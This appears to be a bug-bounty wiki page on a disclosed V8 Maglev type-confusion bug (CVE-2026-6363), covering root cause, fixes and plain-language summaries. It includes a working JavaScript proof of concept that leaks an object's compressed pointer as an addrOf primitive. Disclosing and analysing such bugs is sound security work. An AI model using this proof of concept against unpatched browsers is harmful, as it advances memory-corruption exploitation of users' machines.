Type Confusion in V8 (CVE-2026-6363)
A type confusion in V8's Maglev compiler arises because the IsEscaping() check is non-transitive, so a nested array inside an escaping context is not marked as escaping. An attacker can then transition the array's element kind at runtime and read object pointers as numbers, yielding an addrOf primitive.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 23 days
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: A potential type confusion vulnerability exists in V8's Maglev compiler due to non-transitive IsEscaping() checks during graph building. An attacker can exploit this by nesting an array inside an escaping context, bypassing map checks, and transitioning the array's elements kind at runtime to achieve an addrOf primitive.
Affected files:
src/maglev/maglev-graph-builder.cc
Estimated timestamp from git blame: 2025-11-25
Summary
A potential critical type confusion vulnerability exists in V8's Maglev JIT compiler. The issue arises because the IsEscaping() method on InlinedAllocation objects evaluates non-transitively during the graph building phase. When a nested object (like an array stored within an arguments object, which is then stored within a WithContext) escapes transitively through its container, Maglev fails to detect this escape locally on the nested object. Consequently, Maglev incorrectly assumes the nested object's map cannot change and omits critical speculation guards (like CheckMaps), leading to type confusion and an addrOf primitive.
Root Cause Analysis
The vulnerability centers around how Maglev determines if an inlined allocation escapes its immediate uses during graph building in v8/src/maglev/maglev-graph-builder.cc.
-
Non-Transitive
IsEscaping(): TheInlinedAllocation::IsEscaping()method inmaglev-ir.hsimply checksuse_count_ > non_escaping_use_count_. During graph building, when objectAis stored into objectB(e.g., viaAddNonEscapingUses),A'snon_escaping_use_count_is incremented. IfBsubsequently escapes (e.g., by being passed to aCallRuntimenode which only incrementsB'suse_count_),Bis correctly marked as escaping. However, this escape status is not propagated back toAduring graph building.A->IsEscaping()continues to returnfalse. -
Omitted Map Checks: In
TryReduceArrayIteratorPrototypeNext, Maglev checks if theiterated_objectis anInlinedAllocationand ifIsEscaping()is false. If false, it trusts the compile-time map of the object (e.g.,PACKED_DOUBLE_ELEMENTS) and completely omits emitting aCheckMapsguard before building the element load operations. -
The Escape Path: An attacker can craft a scenario where:
- An array of doubles (
a) and its iterator are passed to an inner function. - The inner function uses
with (arguments) { ... }, forcing Maglev to create aWithContext(InlinedAllocation) that contains theargumentsobject. - Inside the
withblock, a property lookup triggers aCallRuntime(Runtime::kLoadLookupSlot), passing theWithContextas an argument. TheWithContextnow escapes. - The runtime call executes a user-defined getter (e.g., on
Object.prototype).
- An array of doubles (
-
Type Confusion: While executing the user-defined getter in the runtime/interpreter, the attacker accesses the array
avia theargumentsobject and stores a non-Number object into it. This forces a map transition fromPACKED_DOUBLE_ELEMENTStoPACKED_ELEMENTS. -
Exploitation: When the runtime call returns to the Maglev-compiled code, it proceeds to execute an inlined
iter.next()call. Because theCheckMapsguard was omitted (step 2), Maglev blindly reads an 8-byte chunk from the array's backing store using a double-precision float load instruction. Since the array now contains 32-bit compressed object pointers, Maglev returns these pointers to the attacker as a JavascriptNumber, yielding a reliableaddrOfprimitive.
Potential Exploitation Steps
(Note: These are suggested potential steps, as our setup cannot execute the code directly.)
An attacker could use the following Proof of Concept (PoC) to trigger the vulnerability and leak the compressed pointer of an arbitrary object (marker):
// FLAGS: --allow-natives-syntax
let do_transition = false;
let marker = {x: 1.337};
Object.defineProperty(Object.prototype, '_leak', {
get() {
if (do_transition) {
this[1][0] = marker; // PACKED_DOUBLE -> PACKED_ELEMENTS transition
}
return this;
},
configurable: true
});
function target(iter) {
return iter.next().value;
}
function inner() {
var leaked;
// Forces WithContext creation. _leak triggers the runtime call.
with (arguments) { leaked = _leak; }
return target.apply(null, arguments);
}
function outer() {
let a = [1.1, 2.2, 3.3];
let iter = a.values();
return inner(iter, a);
}
%PrepareFunctionForOptimization(target);
%PrepareFunctionForOptimization(inner);
%PrepareFunctionForOptimization(outer);
outer(); outer(); outer();
%OptimizeMaglevOnNextCall(outer);
do_transition = true;
let r = outer();
if (typeof r === "number" && r !== 1.1) {
let f64 = new Float64Array(1);
f64[0] = r;
let u32 = new Uint32Array(f64.buffer);
console.log("lo32: 0x" + u32[0].toString(16).padStart(8, '0') + " (compressed ptr to marker)");
console.log("hi32: 0x" + u32[1].toString(16).padStart(8, '0'));
}
Proposed Fix
The fundamental issue is relying on a non-transitive IsEscaping() check to omit map speculation guards during graph building. EscapeAnalysis (which accurately computes transitive escapes) runs as a post-hoc processor, which is too late to insert missing guards.
Potential fixes include:
- Conservatively Disable the Optimization: In
TryReduceArrayIteratorPrototypeNext, disable the optimization that omitsCheckMapsif the object is anInlinedAllocation. Always emitCheckMapsunless it can be proven definitively (e.g., via the laterEscapeAnalysispass or a more robust early check) that the object cannot escape. - Propagate Escapes During Graph Building: Modify the graph building phase so that when an
InlinedAllocation(likeWithContext) escapes (e.g., itsuse_count_increases without a correspondingnon_escaping_use_count_increase), this escape status is transitively propagated to all nestedInlinedAllocationdependencies immediately, rather than waiting for the post-hocEscapeAnalysispass. - Restrict
IsEscaping(): ModifyIsEscaping()to returntrue(or "unknown") if the object is stored inside anotherInlinedAllocationwhose escape status is not definitively known or cannot be tracked during graph building.
Evaluated with Chrome root at commit: 9760e6c70cd33a320713361f17c6dcca85648c0f
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the IsEscaping() check on inlined allocations is non-transitive during graph building, so nested objects that escape through a container are not marked as escaping, causing Maglev to omit map checks.
Impact
An attacker could obtain an addrOf primitive, leaking the compressed pointer of an arbitrary object, which is a step towards further exploitation.
What the attacker needed
Ability to run JavaScript in V8 with Maglev; Victim runs attacker-supplied JavaScript
The fix
The optimization that omits CheckMaps should be disabled, or escape status should be propagated transitively during graph building, or IsEscaping() should be restricted to return true when escape status is unknown.
How it was found
- Create an array of doubles and its iterator, then pass them to an inner function.
- In the inner function, use a with statement over arguments to force creation of a WithContext.
- Inside the with block, trigger a property lookup that calls a runtime function, causing the WithContext to escape.
- The runtime call executes a user-defined getter that accesses the array via arguments and stores a non-Number object, transitioning the array from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS.
- After the runtime call returns, Maglev executes an inlined iter.next() without a map check and reads the array's backing store as a double, returning object pointers as a Number.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
V8 is the JavaScript engine in Chrome. Maglev is a compiler inside V8 that makes assumptions to speed up code. This bug lets an attacker trick Maglev into skipping a safety check, so it reads memory incorrectly and leaks the address of an object.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.